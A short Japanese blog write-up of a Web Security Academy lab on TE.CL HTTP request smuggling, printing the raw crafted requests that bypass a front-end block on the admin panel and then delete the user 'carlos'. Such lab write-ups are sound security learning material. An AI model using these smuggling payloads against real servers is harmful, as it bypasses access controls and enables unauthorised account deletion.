Shikata Ga Nai

Private? There is no such things.

Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerabilityをやってみた

Hello there, ('ω')ノ

 

HTTPリクエストの密輸を悪用して。

フロントエンドのセキュリティ制御をバイパスするを。

TE.CLの脆弱性。

 

このラボにはフロントエンドサーバーとバックエンドサーバーがあって。

バックエンドサーバは、チャンクエンコーディングをサポートしておらず。

フロントエンドサーバは、管理パネルへのアクセスをブロックして。 

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210503165513p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210503165538p:plain

 

/adminにアクセスしようとするとブロックされて。

フロントには管理パネルにアクセスできないようなセキュリティポリシーがあって。

なので、管理パネルにアクセスするには。

バックエンドで直接リクエストを実行する必要があって。

 

f:id:ThisIsOne:20210503165708p:plain

 

Updateのオプションのチェックを外しておいて。

 

f:id:ThisIsOne:20210503165630p:plain

 

下記のリクエストをSendすることに。

チューンされたエンコードでは。

各チャンクの前に16進数で表された長さが必要で。

 

POST / HTTP/1.1
Host: ac0c1f6a1e72eeab8053121e00690026.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

 

60 ⇦(10進数で96)
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

 

x=1 ⇦(x=までが96バイト)
0

 

f:id:ThisIsOne:20210503171056p:plain

 

f:id:ThisIsOne:20210503171126p:plain

 

ローカルホストへリクエストを実行する必要があるようで、下記を追加して。

 Host:localhost

 

POST / HTTP/1.1
Host: ac0c1f6a1e72eeab8053121e00690026.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

 

71 ⇦(10進数で113)
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

 

x=1 ⇦(x=までが113バイト)
0

 

f:id:ThisIsOne:20210503171627p:plain

 

これで、管理パネルにアクセスできて。

さらにcarlosを削除するリンクが確認できたので。

 

POST / HTTP/1.1
Host: ac0c1f6a1e72eeab8053121e00690026.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

 

87 ⇦(10進数で135)
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

 

x=1 ⇦(x=までが135バイト)
0

 

f:id:ThisIsOne:20210503171856p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210503171951p:plain

 

Best regards, (^^ゞ